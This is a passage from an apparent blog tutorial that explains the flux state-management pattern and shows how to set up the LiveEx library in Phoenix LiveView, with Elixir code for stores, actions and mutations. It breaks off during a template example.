&lt;p&gt;Once a stateful frontend grows in complexity, it becomes significantly more difficult to keep oversight of &lt;em&gt;how&lt;/em&gt; the state is changed, &lt;em&gt;when&lt;/em&gt;, by &lt;em&gt;whom&lt;/em&gt;, and in &lt;em&gt;what order&lt;/em&gt;. Think about state changes caused by asynchronous calls that fetch data from the backend, a websocket connection that pushes new updates to the data, and on top of all of this, have the user edit the state as well. All these actors change the state and since they usually do this directly, it quickly becomes unclear what is happening.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Facebook ran into these issues as their website grew in complexity and proposed an architectural pattern they called &lt;strong&gt;flux&lt;/strong&gt;. If you want to understand this pattern in-depth, we recommend Facebook’s &lt;a href=&quot;https://www.youtube.com/watch?v=nYkdrAPrdcw&quot;&gt;introduction&lt;/a&gt; to the topic. In high level terms, the flux pattern wraps every state change into an &lt;strong&gt;action&lt;/strong&gt; with a &lt;strong&gt;type&lt;/strong&gt; and a &lt;strong&gt;payload&lt;/strong&gt;. Every action has to go through a &lt;strong&gt;dispatcher&lt;/strong&gt;, which is similar to a funnel, through which every action has to go sequentially. The dispatcher applies the change to the state using callbacks (sometimes called &lt;strong&gt;mutations&lt;/strong&gt;) which were previously registered by a &lt;strong&gt;store&lt;/strong&gt; to handle certain actions. The stores emit a &lt;strong&gt;change&lt;/strong&gt; event if their state has changed. Special views called &lt;strong&gt;controller-views&lt;/strong&gt; receive that event, fetch the latest state, and apply the updates to their views.&lt;/p&gt;
&lt;p&gt;The advantage of the flux pattern is that state changes become observable and replicable. It helps tremendously in debugging breaking state changes and monitoring the information flows of larger frontend applications. It has proven itself to be so useful in sanitizing state changes that every larger single-page application (SPA) framework has an implementation of the flux pattern like &lt;a href=&quot;https://vuex.vuejs.org/&quot;&gt;Vuex&lt;/a&gt;, &lt;a href=&quot;https://redux.js.org/&quot;&gt;Redux&lt;/a&gt;, and &lt;a href=&quot;https://ngrx.io/&quot;&gt;NgRx&lt;/a&gt;. In our experiences with LiveView, we ran into the exact issues that these libraries solve and therefore we decided to build a flux implementation for Phoenix LiveView, called &lt;strong&gt;&lt;a href=&quot;https://github.com/pjullrich/live_ex&quot;&gt;LiveEx&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#liveview-meets-flux&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;liveview-meets-flux&quot;&gt;&lt;/a&gt;LiveView meets Flux&lt;/h2&gt;
&lt;p&gt;In order to facilitate the use of the flux pattern in LiveView, we created the &lt;a href=&quot;https://github.com/PJUllrich/live_ex&quot;&gt;LiveEx&lt;/a&gt; library, which helps set up the flux architecture. LiveEx is inspired by the Vuex library, thus it adheres to the following flux flow:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/state_management_with_phoenix/pic_1.png&quot; alt=&quot;The Flux Flow diagram&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The Vuex flow deviates a bit from the original flux flow since it allows side-effects (e.g. asynchronous or database calls) in its actions. However, everything after the actions must be side-effect free and synchronous. In short, a view dispatches an action, which does its logic and eventually commits a mutation. The mutation actually changes/mutates the state and stores the updated state back in a store. The store notifies the views about its state change, which pull the latest version of the state and update themselves.&lt;/p&gt;
&lt;p&gt;LiveEx gives you all the tools to write your own store with actions and mutations and lets you dispatch actions easily from within any LiveView that is connected to a particular store. Subsequently, we show how to get started with the LiveEx library.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#setup-liveex&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;setup-liveex&quot;&gt;&lt;/a&gt;Setup LiveEx&lt;/h2&gt;
&lt;p&gt;We created an example project that implements LiveEx and open-sourced it on GitHub. Below, we explain how to set up your own project.&lt;/p&gt;
&lt;p&gt;Add the LiveEx library to your Phoenix project:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:live_ex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;github: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;pjullrich/live_ex&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create a module for your store. A fully documented version of an example store can be found on GitHub. Here an example for how it could look like:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb.Store&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;LiveEx&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;initial_store &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;a: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;b: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;c: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;d: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;initial_store&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Actions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;add&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Perform any operation with the payload here. For example:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;new_state&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;commit&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;set_a&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;new_state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Mutations&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;set_a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s discuss this. First, store variables can also be added dynamically, but it is a good idea to write out the entire structure of your store once. Thus, define every store variable that you will use in your application with a default value in the &lt;code&gt;initial_store&lt;/code&gt; map. Pass this map to the &lt;code&gt;init/2&lt;/code&gt; function together with a &lt;code&gt;LiveView.Socket&lt;/code&gt;. This will initialize your store.&lt;/p&gt;
&lt;p&gt;Below your &lt;code&gt;init/1&lt;/code&gt; function, define your actions. Use pattern-matching to match the appropriate action with an action type. Perform any business logic in the action, potentially with side-effects or asynchronous calls. Eventually, commit a mutation that updates the state.&lt;/p&gt;
&lt;p&gt;Mutations have to be free of side-effects and typically contain little to none business logic except for what is necessary to update the state. Please note that their function name needs to equal the name with which they should be committed (in this case &lt;code&gt;set_a&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Next, connect your store with your “root” LiveView, which is the LiveView that encapsulates any LiveViews that should use the same state.&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb.RootLive&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb.Store&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mount&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Init the store&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Store&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Delegate any action callbacks to the store&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Add this line to the end of &quot;root&quot; LiveView&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defdelegate&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;msg&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Store&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure to pass any state variables down to the nested LiveViews with&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.LiveView&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;live_render&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb.ChildLive&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;session: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;take&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:b&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:c&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:d&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Within every nested LiveView, initialize the store as well in the &lt;code&gt;mount/2&lt;/code&gt; function with the passed-on state variables (here: &lt;code&gt;[:a, :b, :c, :d]&lt;/code&gt;)&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb.Store&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mount&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Store&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#use-liveex&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;use-liveex&quot;&gt;&lt;/a&gt;Use LiveEx&lt;/h2&gt;
&lt;p&gt;Display your state in your &lt;code&gt;.leex&lt;/code&gt; templates by using the common Phoenix Template syntax:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;h1&gt;Value of &quot;a&quot;: &lt;%= @a %&gt;&lt;/h1&gt;
